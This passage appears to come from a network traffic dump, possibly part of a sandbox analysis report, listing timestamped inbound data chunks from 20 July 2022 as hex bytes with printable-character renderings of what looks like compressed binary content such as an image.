bb d3 7d 38 2e 10 b9 88 96 59 23 fd e4 41 18 3f 35 96 68 fe c3 44 df f2 73 25 23 61 10 14 53 db 57 52 Data Ascii: 8E$( (`'/\U=rBABfi_iE'6>,Pis,QEP_dx)Wj`Gq@'?r;v2BKOXIC1/f0?^h\j9qijr(KXH~"iD9\|0H}8.Y#A?5hDs%#aSWR
2022-07-20 13:44:28 UTC	7703	IN	Data Raw: d4 f5 66 fd e4 71 fc 1f 6d f2 d1 3b e6 c8 6c 89 d5 f5 46 d4 a1 30 07 52 81 c1 04 6e b2 f0 1f 14 af cf f7 df bd 6f de ff 00 ae f9 08 0e 12 ce 79 6f 64 a5 b5 3b fd 34 14 e6 fc 4d 3e 07 01 e3 0b fb 4b e8 49 cd 73 20 1b 6b 12 4c f4 9b e8 35 9b 95 8e e1 39 92 0a f3 1f 00 e1 fc b2 f1 f8 bd 17 4f b7 17 d8 ca a7 71 0d 91 16 59 0c d6 31 dc 3c 76 f0 c8 c4 45 54 e6 ad 40 91 d5 92 2f dc 2f ee e6 54 ff 00 7f 23 ff 00 73 98 dc 55 bb 61 85 a5 37 56 8e 90 34 2e 09 8b d1 96 46 7e 45 c3 48 94 58 f9 ab fd 88 ff 00 6b fe 2d 8f 2d 05 87 24 83 53 ff 00 48 82 1b a1 c9 18 0f 4a 46 60 4a c9 43 fb 99 16 e3 f6 fe 1f dd 73 93 fd f6 9e a6 5f 1e 74 d2 54 a1 d3 27 9e 44 8d ca 46 b5 1c 5c f5 f8 7e d4 bc 3e df a7 fe 5e 4b 88 06 bb 64 13 c1 01 b0 b8 80 15 9e 38 78 81 c8 84 74 2c de a5 cd Data Ascii: fqm;lF0Rnoyod;4M>KIs kL59OqY1<vET@//T#sUa7V4.F~EHXk--$SHJF`JCs_tT'DF\~>^Kd8xt,
2022-07-20 13:44:28 UTC	7719	IN	Data Raw: a9 1f f1 6c 8d 27 fc 3e 44 8b 64 0a 4f 27 91 4c 9f bd 96 ed 18 13 46 2c ac 77 1f cc fc f1 e1 42 8b f9 2e d9 23 32 7d 6a 33 43 b5 10 d0 8f f8 3c 1c 29 4f ac b4 4d 2f 4e b7 0f 6d 70 68 45 64 e7 46 a9 fd 9f 49 53 fb b4 f5 3e da fc 78 40 41 0a 71 c7 a5 d0 23 dc 3f 7f 88 42 d4 3f e5 2f 3f f8 5c 9d b1 57 82 de cd 9c bd bc b3 38 6e ac 55 47 4f e5 7f db c5 56 b4 7a 6f a7 2f a4 5c 94 04 9e 40 7f b3 e3 f0 f3 5c 55 2c b1 2b a8 06 b8 88 72 01 a8 c8 dd 88 fd be 5f e5 a7 f2 62 37 42 36 30 95 2b 51 f1 6c 4d 3a ff 00 a8 bf 67 fc 8c 52 b7 94 d6 90 f3 50 15 00 69 2a c7 6d fe 0e 3f f1 9a 4f f2 31 55 17 b8 57 03 d5 94 12 a0 02 3a 7d af f2 7f 6f 87 ed e2 ae 40 ab 27 a3 6a fc 86 c3 9d 2a 7a fe cf d9 e7 2b ff 00 27 d8 c0 95 69 e6 68 15 88 6a a5 77 14 05 ce ff 00 69 64 4f e7 7f Data Ascii: l'>DdO'LF,wB.#2}j3C<)OM/NmphEdFIS>x@Aq#?B?/?\W8nUGOVzo/\@\U,+r_b7B60+QlM:gRPim?O1UW:}o@'jz+'ihjwidO
2022-07-20 13:44:28 UTC	7735	IN	Data Raw: f9 72 c8 d0 47 12 12 c2 ca f3 87 c0 bb 8d d9 4e d5 07 f9 70 cf 2c 47 36 06 69 8d be 83 29 65 56 1c 89 26 82 bd bf 9b 31 e5 a8 0c 38 ed 18 be 5f 4e 27 91 24 83 4a 1c a0 ea 97 88 b4 be 5f 8c 29 31 9e 32 30 ed d3 e1 ff 00 88 e2 75 4b c4 53 ab 49 e6 80 d3 9f c1 40 05 3d bf c9 fe 6c c3 91 05 98 c8 42 bc 97 d2 3a 51 64 22 9d 77 ea 7f ca ff 00 27 20 12 72 14 34 90 99 08 3c ea c4 d6 9f 47 c5 c7 25 c5 4c 78 94 96 d5 1c 31 42 45 7e f1 fc 9c 31 e3 45 ab bb 31 60 ec ec 42 d0 83 ff 00 13 5c 00 a7 89 0f 75 6d 33 c8 ae ee ca 39 02 0f 5a a8 1c d5 7f d5 6c b6 33 00 29 28 78 f4 86 0a 7f 7a db 31 60 3b 0e 5f 17 fb 2f de 7d 9c 91 cf e4 8b 56 86 cd a1 8c 99 66 2d 50 19 8b 1e b4 3f 07 fc 06 47 c4 b3 b0 64 0a 1a 5b a9 6c e6 e4 cf f0 9d c7 fa df cb fe a6 64 c6 22 41 95 ab 5b ea Data Ascii: rGNp,G6i)eV&18_N'$J_)120uKSI@=lB:Qd"w' r4<G%Lx1BE~1E1`B\um39Zl3)(xz1`;_/}Vf-P?Gd[ld"A[
2022-07-20 13:44:28 UTC	7743	IN	Data Raw: d6 c8 ef 2b 69 ef 65 a7 f2 9e 81 e5 3c e8 a0 8a 2d 3d 38 23 6f da e7 fb 72 65 f1 6b 88 a4 7c 8c c8 fc 4f 40 3e 21 dc 1c 95 b2 6e 1e 4f 53 b7 6e d8 6d 57 c3 0a 46 bc 45 37 ad 4f 8e 1b 56 b8 92 48 1b ee 00 c5 5d b0 8f 8a ee 0d 6a 70 aa e3 11 00 6d 56 6a 05 5f 7c 8a b5 24 7e 8b f1 7d ea 78 82 3f 68 fe df c3 fc b8 aa 2e 31 42 38 74 76 de 9f b3 4f e6 c5 56 46 f1 c8 ed 5d 80 d8 7c bf 6b fe 0d b0 a1 6a 9f 51 ea 7a 16 ae 29 57 5e 0a ac a6 bb fe bf e6 c5 54 e3 9d 09 72 a7 b1 04 fb fd 8c 0a d4 a4 ec 9d 6a 7a 0f 6c 55 7c 36 e3 88 0f 4a 9a d6 98 aa 59 ae ce c9 0b 2a 0a 92 ca b5 f6 3c b9 72 ff 00 81 ca a6 68 33 80 dd 8e db cc a2 66 8c 30 2c 05 69 ed 98 a5 c9 09 3f 99 ed 00 9a de f1 28 1b 91 53 5d b6 03 d4 fb 4d fc 99 6e 23 d1 a7 30 ea 97 e9 ba 68 33 b3 4b 17 32 c1 8a Data Ascii: +ie<-=8#orek\|O@>!nOSnmWFE7OVH]jpmVj_\|$~}x?h.1B8tvOVF]\|kjQz)W^TrjzlU\|6JY*<rh3f0,i?(S]Mn#0h3K2
2022-07-20 13:44:28 UTC	7759	IN	Data Raw: 2c 76 f1 07 95 a4 de 39 10 7c 33 25 3d 7f 56 38 59 bd 68 96 1f df 7d bf dd cf 17 ef 72 e8 66 8c 85 9f 47 0f fb 06 5c 14 85 b3 d0 61 76 8e 65 9b e1 af 26 65 1f 10 6f b4 a9 f1 fd bf f2 db f6 3e 0c b0 e6 23 a3 0e 24 c6 5f 2e 97 46 93 d7 13 c8 df 65 69 fb 03 e3 f4 3f e2 bf 8d 7f 6f f7 5c 3f e2 cc 03 37 92 f8 89 7e a0 cb 39 89 65 0c d7 51 c6 57 88 51 f1 0a fd 97 e3 ff 00 24 fd 3f f9 eb 26 5a 0b 24 06 a5 14 f2 42 a4 b8 74 e7 40 4f ec 8f e4 e5 f6 ff 00 e0 f0 c4 8b 50 d1 a8 92 45 8c 14 24 15 2d 5f 87 97 da 4f 4b fe 69 4c 28 6e c6 4b 75 65 25 4f 20 41 3b ed cb f9 ff 00 e3 2e 09 5a 51 17 89 23 31 65 51 ea 29 a8 72 28 0f f9 1f eb a7 f9 79 00 54 14 64 6b e9 c8 42 bd 78 29 01 0f 4e 34 f8 91 ff 00 e3 26 52 4d b1 2a d2 5b 5c ac aa 63 40 4f 10 69 4f b2 69 c5 39 ff 00 37 Data Ascii: ,v9\|3%=V8Yh}rfG\ave&eo>#$_.Fei?o\?7~9eQWQ$?&Z$Bt@OPE$-_OKiL(nKue%O A;.ZQ#1eQ)r(yTdkBx)N4&RM*[\c@OiOi97
2022-07-20 13:44:28 UTC	7775	IN	Data Raw: c5 51 e6 a1 65 94 97 76 f1 88 99 68 aa 38 05 1f 17 1a fd 8e 3f f1 5e 4a 40 13 6a bf 53 e4 63 e0 f4 67 06 86 9d 7a 71 67 c6 08 40 47 a9 b0 24 c8 45 7a 7f 93 fc af 96 1c 69 a4 05 e4 01 ae 90 a0 e0 bb 1a ef df fc 96 ff 00 84 e1 97 c4 ec 95 6b 69 a4 85 c3 86 2d c8 f1 e2 46 e5 41 e5 ea 7f 93 ea ff 00 c6 99 09 44 14 26 5c de 09 5a 33 47 52 36 ad 49 57 6f f7 db 7f bf b2 aa b5 57 51 6e 48 8d 09 e7 b8 12 52 bf 6b f9 d1 fe 26 c8 1b 60 9c 5a 40 b6 b1 80 d5 27 63 46 ab 74 fe 55 7f b1 cb 2a 26 d2 96 ea 37 96 fb 43 35 14 12 78 d3 bb 1f e5 93 fe 37 c9 c2 27 98 42 49 63 6e b7 2e 16 57 29 10 db e2 35 3c ff 00 e2 d5 ff 00 7d 3f f7 52 7f be fe de 5d 39 18 f2 64 a1 77 0b de 4a 86 d8 04 8e 84 fc 3b 77 fd e7 c4 ff 00 1c bf 07 fb b2 4c b2 27 84 7a 96 d5 55 02 d9 9e ad e9 b3 71 Data Ascii: Qevh8?^J@jScgzqg@G$Eziki-FAD&\Z3GR6IWoWQnHRk&`Z@'cFtU*&7C5x7'BIcn.W)5<}?R]9dwJ;wL'zUq
2022-07-20 13:44:28 UTC	7783	IN	Data Raw: 1f f8 96 04 b7 e2 a4 7c f1 56 31 a8 22 cb ab d0 8e 88 c7 fe 05 73 33 17 27 0b 2f d4 dd ce 96 86 da 3a ae ec 95 6f 9d 7f 6b 2d 6b 28 1d 6f 4f 86 01 28 51 59 0b 53 d8 6f 84 31 2c b7 44 40 da 7d b1 1d 3d 14 fb a9 fb 39 af 99 dc bb 1c 7f 48 4c cc 2a 87 66 2c 0d 00 da 9d 32 bb 66 e9 0a 98 5a 9f 6f 8b 36 de 3f b3 f1 61 08 2c 37 4d b2 8e e4 07 20 1e 45 41 3f 2f 87 fe 25 99 e1 c1 46 dc 58 a4 28 b2 20 01 96 41 f7 83 80 a8 64 51 7e f5 43 80 11 99 77 df be 60 b9 cd 2b b4 6f 53 b1 f9 57 14 ba 66 69 01 29 d6 bb 57 6d f1 56 13 3b 11 34 9c a9 c8 48 df e7 fb 39 99 1e 4e 1c b9 ba de 03 29 2e 37 a5 00 0b bb 6e 7f 61 3e cb ff 00 c1 e5 a0 5b 53 30 d3 c0 b0 8f d1 6a ab 33 6c 06 ea c3 fd f9 ea 3a ff 00 c1 45 96 81 4d 52 5b aa 47 6b 71 f6 d2 37 94 50 07 a7 1e 1c bf ca 5f ef 7f Data Ascii: \|V1"s3'/:ok-k(oO(QYSo1,D@}=9HL*f,2fZo6?a,7M EA?/%FX( AdQ~Cw`+oSWfi)WmV;4H9N).7na>[S0j3l:EMR[Gkq7P_
2022-07-20 13:44:28 UTC	7799	IN	Data Raw: 8f 2a 7e d7 fa d9 83 3e 6e c2 1c 91 5e bb 15 05 d7 8b 1e c3 c7 f9 72 b6 56 b5 a4 25 c1 40 00 ee 2b 43 5f d9 f8 70 aa 0e ea 71 73 25 10 90 94 35 20 95 1f ea ff 00 34 9f ec f0 8d 98 93 6d 8d 4e 58 d7 d1 08 1b 82 fd b2 4e eb fe ea fd d4 7f 61 bf 9f 0f 08 5b 4c 92 60 d1 23 82 28 db 6d e3 fb 71 e4 19 5a 8e a8 62 92 dd a2 ba 70 a1 fa 54 d3 91 53 cd 63 ff 00 2b fc bc 94 79 ec 89 72 dd 01 3c 29 24 5f 59 41 b4 9f 13 8d 8a 85 51 c7 8f fc d9 93 07 a2 18 4e a6 f5 2e e0 00 1e b4 00 50 71 fd 9f 85 b3 2e 2e 1c cb 35 75 e4 8b 21 03 e1 8d 2a 4f fa a9 fe 72 e6 1b 96 86 bf 4e 44 24 84 fc 40 a8 5a 9f 88 92 bc 5b f9 3f ca c9 45 12 42 5d d8 2c c5 9c 75 52 37 1d ff 00 df 4d cb 97 c2 d9 31 2a 6b 94 6d 0a f6 5e a9 66 24 72 ee 3e 1a 11 fc ff 00 11 fe f3 86 4b 89 87 0a 1a 6d 1a de Data Ascii: ~>n^rV%@+C_pqs%5 4mNXNa[L`#(mqZbpTSc+yr<)$_YAQN.Pq..5u!OrND$@Z[?EB],uR7M1*km^f$r>Km
2022-07-20 13:44:28 UTC	7815	IN	Data Raw: 62 b5 fb 5c c8 1f 4f 17 ff 00 84 c2 22 69 36 dc 32 30 8c ee 3e c9 fb 88 fb 18 98 ee b6 a7 6f 27 a7 18 15 a1 e3 b5 3c 6b ff 00 34 63 2c 66 d4 15 79 18 87 55 06 8a 37 34 ef 94 80 c8 94 2f d6 0a 9a b1 da bf 8f ed 65 de 19 2c 2d 64 12 93 22 a0 3d 17 ee c6 51 a0 a0 a2 da 47 96 80 74 23 7e df e4 e5 40 53 3b 6d a5 2d bf 87 87 62 b8 51 6d 24 8f 52 a5 aa 14 54 1f 13 f6 b0 15 59 f5 97 3d 37 52 6b d3 ad 3e 2f f8 db 2c 01 6d 10 2e aa 2a ff 00 66 bb 93 ee 3f e3 4c 00 12 9e 24 bb 54 d5 42 43 ea db 82 e1 4e f4 a8 1f f1 63 7f c3 66 66 1c 5b d1 69 9c ad 09 a6 ea 8e a5 9c bb 15 20 1a 00 36 56 fe ed db 2e cb 8e f6 63 19 52 73 05 d7 d6 14 ca 8d 51 dc d7 7d bf 9b 35 f3 81 89 a2 de 25 6b 62 99 d0 96 5d eb 5a fc bf e6 ec 56 d7 4b 7c 63 8d dc fc 7c 09 fd 4b f0 a7 fc 69 96 c3 1d Data Ascii: b\O"i620>o'<k4c,fyU74/e,-d"=QGt#~@S;m-bQm$RTY=7Rk>/,m.*f?L$TBCNcff[i 6V.cRsQ}5%kb]ZVK\|c\|Ki
2022-07-20 13:44:28 UTC	7822	IN	Data Raw: 5f 8a 04 ff 00 80 e1 fe 5e 48 6a 7b d1 49 77 f8 5e f3 d3 2c 3e 19 1d b6 1d 2b c8 b7 1f 51 ff 00 e2 95 fe f5 3f d9 e5 fe 3c 57 85 52 e3 40 b9 8e 62 ca a5 e4 54 45 34 60 41 72 3d 19 3d 39 3e cf 04 74 fb 6f 90 19 41 08 e1 55 8b ca d7 cb 12 2a a8 47 4d 88 66 e6 a4 fd 9f df 22 7f 27 ec 7f 3e 44 ea 23 6b c2 54 7f c2 b7 f2 5b 98 93 8b 38 24 9a fc 03 88 fb 2d c9 ff 00 9f fd f3 93 1a 88 83 6b c2 83 6d 0a e9 6d 11 d5 09 e6 76 51 f6 a8 bf e4 7f c6 d9 77 8a 2e 98 90 a8 fa 3d cc cd 14 4c 38 d7 9a 90 c7 8b 33 d3 e0 8d ff 00 ca 93 fd d7 ff 00 0f 95 78 a0 5a 38 4a 06 db 4a b8 bb 8e 49 a4 85 84 60 d0 d4 74 1f 65 db fd 8b 65 c6 62 24 00 54 45 18 de 5f 96 57 0e c0 52 3d d0 f7 62 3e 1f f9 17 91 f1 80 65 4a 77 5a 2c f0 06 05 1b 8b 38 15 ed d3 e2 fb 5f e7 c3 18 e5 05 1c 2a 82 Data Ascii: _^Hj{Iw^,>+Q?<WR@bTE4`Ar==9>toAUGMf"'>D#kT[8$-kmmvQw.=L83xZ8JJI`teeb$TE_WR=b>eJwZ,8_
2022-07-20 13:44:28 UTC	7838	IN	Data Raw: a7 5e 5f 07 fc 22 64 0e 62 15 54 04 0c a2 44 04 20 24 ff 00 94 7e ca 24 9f ea 7f bb 30 78 85 50 cd a6 5b 72 58 c2 ec 01 00 11 f6 37 e7 cd 3f d9 7f 79 93 f1 8a 11 10 c7 6c ad c4 a0 44 7a b7 fd 7c ff 00 5b 97 c5 90 33 25 21 5a de d9 62 42 63 2a 8c 09 f8 a9 d5 be d3 f1 c1 c6 59 29 cc 90 92 c9 c1 78 9a d4 b2 d7 76 1c 99 be 2f db c4 4c 84 2e 86 d2 d5 1e 16 86 21 ca 20 38 ed 5e 01 87 14 74 ff 00 2d 3f 9f 09 cb 2e ff 00 a9 2a ae 00 46 8e 58 c4 95 24 10 45 7f ce 45 c8 71 94 38 03 6e ab c5 78 aa b5 00 5f b4 bf e5 7c 3f f0 19 13 2b 4a d9 21 56 91 62 78 86 ff 00 18 6e ca 69 fb 0b fe 46 48 4c aa ba 30 05 68 95 28 08 dc 6f 4a ff 00 37 ec ae 3c 49 50 fa b8 50 ea 81 78 10 68 29 bd 49 e1 c7 8f fb 37 c3 c6 50 b7 d1 59 c2 a0 3c 04 64 80 d4 d8 7e c7 d9 fe 7f f7 4e 1e 32 85 Data Ascii: ^_"dbTD $~$0xP[rX7?ylDz\|[3%!ZbBcY)xv/L.! 8^t-?.FX$EEq8nx_\|?+J!VbxniFHL0h(oJ7<IPPxh)I7PY<d~N2
2022-07-20 13:44:28 UTC	7854	IN	Data Raw: 6a 59 11 85 09 e9 45 a1 1d cf d9 ff 00 5b fd 7c 95 21 a9 a5 55 27 8d 46 f4 e2 7b 50 7f 2e 02 ab 96 95 2c 76 20 8a 78 54 8e 38 15 72 4b c2 3e 49 55 0b 4a f7 ff 00 63 92 b5 59 14 d5 53 21 51 43 4a ff 00 cd 99 1b 48 56 8c 9d d5 45 4b 54 9f f8 d7 fe 0b 10 c9 d3 12 00 72 54 2b 0d c1 14 20 0f e6 c9 20 a9 0f 8f f7 4c 54 ab 6d f0 f7 fe 5e 4d 82 e9 0b 39 c9 2d 37 aa 2d 47 c5 d0 53 f6 b1 b6 2a 75 01 79 28 2a 4d 2a 7b 15 3f 0f 06 c1 6a d2 02 07 2e 44 1e 80 0f 9f 1f 89 b1 b5 6e dd bd 65 75 34 af 41 f2 fe 67 c5 55 16 45 2d 48 8f f7 62 9f 4d 3e 0c 2a a3 21 49 80 a1 0b 56 ad 3b 92 4f fc 6f 86 d0 b9 87 02 38 b5 15 2b d7 a8 a6 29 58 d7 54 1f 11 a9 20 9e b4 ae ff 00 16 4a 22 d1 6d c9 75 ea fc 0a 41 65 00 82 36 66 ff 00 63 93 e1 ef 5b 42 ac fc 14 90 77 2d c7 6d b8 96 39 60 Data Ascii: jYE[\|!U'F{P.,v xT8rK>IUJcYS!QCJHVEKTrT+ LTm^M9-7-GSuy(M{?j.Dneu4AgUE-HbM>!IV;Oo8+)XT J"muAe6fc[Bw-m9`
2022-07-20 13:44:28 UTC	7862	IN	Data Raw: a0 26 ad 5a 80 0f 0e 5c 9f ec 72 7c 36 95 2f ad c4 4f 29 3d 47 a3 71 52 0d 0d 40 fd f7 1f 87 f6 19 b8 49 8a aa dd 5b da 7a 44 d0 55 55 97 76 e2 4f 2f ef 64 8f fd 4f f7 e6 2a a4 b0 3c 95 58 db 71 c7 e1 26 bf 0f fa dc 7f 91 7f 77 81 51 16 60 b7 2e 2d ea 55 4f 12 a6 9c 13 f6 63 99 7f 9f f9 30 aa 88 b3 49 55 f8 ca 58 c9 f0 2a 71 21 7f d9 fc 3f 69 7f e6 b7 c1 48 51 b6 2e 84 f0 88 99 18 90 dc 53 65 65 f8 3e db ff 00 c1 a4 bf b7 89 4a 1f 8c 6b 13 7a bc 88 14 5a 1f 80 56 bf bb 8b e1 fb 31 b3 fe fa 6f f7 ec d8 55 b8 9a 49 66 56 40 5d 5a b5 27 e1 02 a3 94 8e 9c bf e7 9c 5f 1e 34 a8 9a ac 63 d3 79 01 4f b3 51 db fe ba fe 7c 0a 87 33 a0 50 a7 8c 05 98 94 e2 79 72 65 f8 d9 24 fe 4e 1f de 70 fe 77 c2 aa d7 25 6d e5 68 fe 06 2b c6 ae 6a 77 7f b1 f0 7f 96 df b7 91 42 ac Data Ascii: &Z\r\|6/O)=GqR@I[zDUUvO/dO<Xq&wQ`.-UOc0IUXq!?iHQ.See>JkzZV1oUIfV@]Z'_4cyOQ\|3Pyre$Npw%mh+jwB
2022-07-20 13:44:28 UTC	7878	IN	Data Raw: 53 3e 15 d3 69 7e 93 38 e0 12 39 78 8d a9 cd ab cb 9f ef 3f 63 f7 9f ee c5 fe f3 fb bc 1e 21 53 16 fd 59 4c dc e7 a3 49 12 56 35 e8 16 9f 03 a4 9f e5 2f f7 df f0 91 60 26 c2 a9 5a e9 71 da aa c3 1a 07 5e 6f c5 8e d4 12 06 f5 e1 9b fd fb cf 97 fc f3 c4 e4 27 75 01 52 c2 cd 20 e5 09 58 e3 78 59 91 55 07 54 3c 7f 76 df ef de 11 ff 00 bb df f7 98 ce 44 a8 0a b1 5b bc 07 9c 4d 41 1f 16 2b f6 42 b3 72 48 9b 97 fb f3 8f fb af fe 7a 64 49 b0 9a 74 a6 56 47 89 02 b2 af 36 5a fd a7 3f 6e 14 ff 00 25 7e df 3c 01 2a 10 46 6e da 34 9d 83 48 b5 67 70 0d 07 ec fd 5d 79 7e dc 6d fb 7f f0 19 2b ae 4c 79 ab 5a 59 70 54 31 31 21 5c 15 34 a7 33 19 f5 13 e1 fb 4c dc df f7 98 0c d2 02 24 d6 dc 13 2d 48 a9 31 ad 37 dc fd af f2 97 9f ec ff 00 be f2 bb 64 ac 63 59 a3 65 a8 25 c0 Data Ascii: S>i~89x?c!SYLIV5/`&Zq^o'uR XxYUT<vD[MA+BrHzdItVG6Z?n%~<*Fn4Hgp]y~m+LyZYpT11!\43L$-H17dcYe%
2022-07-20 13:44:28 UTC	7894	IN	Data Raw: db 33 7a 7c bf 67 23 c3 5c d8 93 68 4b 49 e4 11 aa 06 14 62 6a 47 d9 5f f8 b3 fc 88 e3 c9 ca 2b 68 ab 7b 99 7d 40 9c 88 75 f8 52 9f 2f 87 fe be 65 66 2a 0a 27 eb f2 cc e4 c6 79 ab 2d 1e bd 03 53 f7 ab ff 00 37 e4 24 29 9d a2 22 ba 0f c2 37 40 a4 81 40 07 1a 03 f0 a7 fc 06 02 12 0a e1 04 b3 a9 f4 cf 25 92 36 01 ab b2 38 ff 00 27 f6 16 4f b7 ff 00 24 f2 41 34 a2 74 e0 d2 34 52 1f 8d c1 35 07 e1 1b 7c 4d 27 f9 7c bf 9f 08 28 a5 34 d2 14 49 c1 e4 20 00 0a 50 01 4f d9 91 99 ff 00 cb e5 cf fc 8c 91 9a f0 af e5 1c 25 41 ec 4f 05 0d f6 95 4f 0e 7c ff 00 6b ed 64 50 ac b0 43 1b 10 e4 98 cb 10 79 6d 56 3f f3 56 0b b4 aa bd a4 72 30 3b 31 1b 7c 5b 56 9f ee b7 fe 7f 4d b0 da 69 48 7a d3 ba fa 04 06 15 63 d0 f7 fd df c5 fc bc 55 ff 00 77 85 57 e9 6e 63 43 52 4d 58 81 Data Ascii: 3z\|g#\hKIbjG_+h{}@uR/ef*'y-S7$)"7@@%68'O$A4t4R5\|M'\|(4I PO%AOO\|kdPCymV?Vr0;1\|[VMiHzcUwWncCRMX
2022-07-20 13:44:28 UTC	7898	IN	Data Raw: a2 0d e9 b9 20 d0 7d 8f f2 bf ca ff 00 53 1e 1a dd 5a 7b 78 d9 29 2f ee cd 47 d3 fe b7 2c 8f 15 21 42 5b 59 1a 90 a4 75 ee a0 0f b6 6b f6 57 f6 59 ff 00 9f 2c 12 ea cc 22 07 96 af 17 94 91 00 a1 08 04 31 fe 61 f6 17 97 f2 e5 67 30 e4 53 c2 51 f6 be 5b b7 bb 76 a3 98 96 24 5f ac 82 a5 0d 48 e5 1a db fa 9f 0f 29 5b f7 39 59 cc 63 ff 00 4e d2 22 9c db e9 0c d0 32 ce 91 a1 45 28 02 a9 3c 41 3f 07 f7 bf bd e7 68 9f ee cf f7 66 63 1c bb ec d8 22 9a d9 58 db 24 5c 23 56 f8 55 63 66 20 7a 84 7d b8 e4 9f fe 4e 27 c7 fe be 53 29 92 6d b0 00 a9 69 60 af c9 a4 54 32 3b 8e 45 80 63 c2 9f ba f8 fe cb b7 fc 5b ff 00 54 f0 1c 8c c0 56 9e cd 85 23 84 87 25 f9 10 e4 7c 34 1c 7e 1f f2 ff 00 93 d2 c8 89 ad 2a cb 6b 14 91 08 4e eb f1 6f 4e 34 14 f8 3e 1f e7 fe 47 c8 f1 32 a4 Data Ascii: }SZ{x)/G,!B[YukWY,"1ag0SQ[v$_H)[9YcN"2E(<A?hfc"X$\#VUcf z}N'S)mi`T2;Ec[TV#%\|4~*kNoN4>G2
2022-07-20 13:44:28 UTC	7914	IN	Data Raw: de 9f c5 fb cf f2 e3 fe 7e 18 dd 29 0d cf 69 02 8f 50 b3 33 a8 2b 56 3c fe 10 7d 66 ff 00 2b f6 31 12 41 8a 06 d9 cc e5 9e d2 9c 79 90 54 ed f6 87 a8 ed 2b 36 32 f3 60 16 b5 cc b1 1a 8a 30 4a 83 f0 b5 01 7f 87 d2 6f 87 e2 7f f2 f1 31 55 48 1e ee 42 18 70 4a 2f d9 26 94 a5 3f 74 d2 fd b8 f9 ff 00 be b0 50 0c 85 94 7a 4d f5 79 56 d5 90 84 60 cd d3 92 f1 3f 65 91 31 3d ec 82 e5 86 46 fd d0 3f 19 ef d7 6f e7 ff 00 23 22 9a 53 2a 23 66 5e 05 c1 a5 38 d7 9f 1a 7a 53 7a df f3 d3 f6 ff 00 df 79 25 a5 68 22 4b 90 03 12 a1 48 62 37 fb 4b f6 7f e7 92 64 12 05 aa 42 ab 6a 3f 68 d5 77 35 af c5 fb 28 8b 8d d2 54 b8 c8 11 97 d4 2d c4 ec 39 02 49 1f 69 e4 fd 8f f2 38 63 68 5d 77 3a 23 02 f4 20 94 1b ee 00 ff 00 aa bf 17 f7 b8 6d 54 e6 16 f6 95 0c 79 96 f8 f7 fb 40 01 f0 Data Ascii: ~)iP3+V<}f+1AyT+62`0Jo1UHBpJ/&?tPzMyV`?e1=F?o#"S*#f^8zSzy%h"KHb7KdBj?hw5(T-9Ii8ch]w:# mTy@
2022-07-20 13:44:28 UTC	7930	IN	Data Raw: e0 b4 ae 17 4a e8 d3 11 b1 23 60 38 a5 7f 67 fd 7f f2 b1 a5 b6 e4 0e ca 0c 74 e4 c5 69 4e 89 fc bc 78 fc 18 aa e8 60 0a bc 59 be 20 7e 27 03 a9 af c4 9f ec 70 a6 94 ef 61 86 59 23 11 31 f8 57 70 37 dc 7f bb 1b 24 48 e8 c4 84 27 18 e3 71 3c 4c 0f 2e 40 a9 1c 49 18 db 14 7c 73 c6 4a ca b2 92 94 dc 10 17 8f f9 7f e5 7a 78 b3 0e 66 80 82 3a bd 37 76 3d 17 fd fb 23 b7 f7 78 b2 58 92 02 4b 89 04 74 1c 7c 17 6f f8 6f b3 f1 e0 b5 6a 6d 42 36 ff 00 48 94 fc 0a 2a 63 a7 52 3f e3 4f f7 62 ff 00 c3 e3 76 51 68 79 f5 6d 98 23 50 54 71 fb b9 fe f3 fe 2b ff 00 23 21 68 32 5a 75 11 64 66 0a b4 34 f8 5c 0d 9a 4f f7 e2 2f fc 1e 48 14 5d 20 a4 d7 24 e4 b1 d6 ab f6 a9 4e 84 8f f9 af 0c 62 4b 1e 35 d0 6a d2 0a a3 92 48 20 7c c7 ed 7f c1 61 31 2a 24 a0 ba cd c7 ef 0d 68 55 8b Data Ascii: J#`8gtiNx`Y ~'paY#1Wp7$H'q<L.@I\|sJzxf:7v=#xXKt\|oojmB6HcR?ObvQhym#PTq+#!h2Zudf4\O/H] $NbK5jH \|a1$hU
2022-07-20 13:44:28 UTC	7938	IN	Data Raw: 79 06 91 e9 5e 5e a1 5e 5c 57 f9 79 ff 00 27 fb 3c 88 64 aa b1 34 ac 77 df 76 60 db 54 7e ca 7f cf 6f d9 c8 25 4e 4b 46 95 68 50 71 42 14 10 77 71 fe 57 f9 49 26 4a d5 07 73 a8 b4 2c 5e 22 a9 c5 90 00 0f da e6 7f 97 fe 0b 11 1b 62 65 4b 66 d4 5b 8c 4d 13 0e 45 c8 34 1e 03 e0 47 ff 00 9a f2 22 25 06 49 3a dd f1 2b 71 b1 12 ee 41 ec 3e db ab 7f c6 5c b7 83 a3 0b 56 d4 66 66 2b c8 05 1c 42 f1 07 a0 1f bc ff 00 89 f3 e3 91 88 b4 12 97 43 73 59 96 e9 6b cd 95 40 1e 14 3f b5 99 5e 1e d4 8b 74 8f 22 12 ab 5e 71 b1 03 c3 7f b3 ff 00 1b e4 84 10 4a a5 bc 4c 66 ab 11 40 a0 6d db f9 b0 98 ec c6 d4 e9 2b 31 89 16 89 4e fb 74 fb 3c bf e3 26 58 20 39 a1 6b 5f 28 51 c9 88 71 40 76 ad 2b fb 29 fe 4e 4c 62 4f 09 5a 75 28 ad 88 96 23 cd fa 29 a9 ff 00 34 e7 96 0c 64 b2 11 Data Ascii: y^^^\Wy'<d4wv`T~o%NKFhPqBwqWI&Js,^"beKf[ME4G"%I:+qA>\Vff+BCsYk@?^t"^qJLf@m+1Nt<&X 9k_(Qq@v+)NLbOZu(#)4d
2022-07-20 13:44:28 UTC	7954	IN	Data Raw: dc 98 09 b4 85 74 95 28 15 fa 1f d9 3b 81 5f 85 72 25 36 89 56 91 39 d3 89 04 f1 20 f4 5f f2 e3 e5 83 88 26 d7 42 7d 29 4f ab 4a 71 d8 f8 ae 46 d4 15 cf 6c a4 92 ac 52 46 00 54 6d 4f db 6c 90 9a 4a 4d aa 69 85 a7 8a e0 9a 71 ef b7 42 78 ae 5d 1c b4 29 ae 41 01 7f a6 bf ef 62 2d ea 34 a5 8a 1a 74 e5 f1 48 df eb 7f 97 97 43 20 d8 ff 00 35 89 08 2b ed 3e 71 3c 71 96 e4 c5 02 6c 0e cb 18 fd bf f8 b3 fd f9 97 42 60 8b 41 0a 13 db cd 18 f4 65 1c 4a 02 80 f2 ad 41 3c f9 2a ff 00 bf 3f df 8b 86 c1 dc 21 5e 38 49 2a 51 48 54 52 45 0f 55 6f 8d 5b 2a 25 28 80 af 09 f4 f8 d4 bb 98 c9 ec 76 e5 e9 ff 00 ad f6 1f 23 56 a8 06 b8 65 b3 72 18 d6 4a ab 81 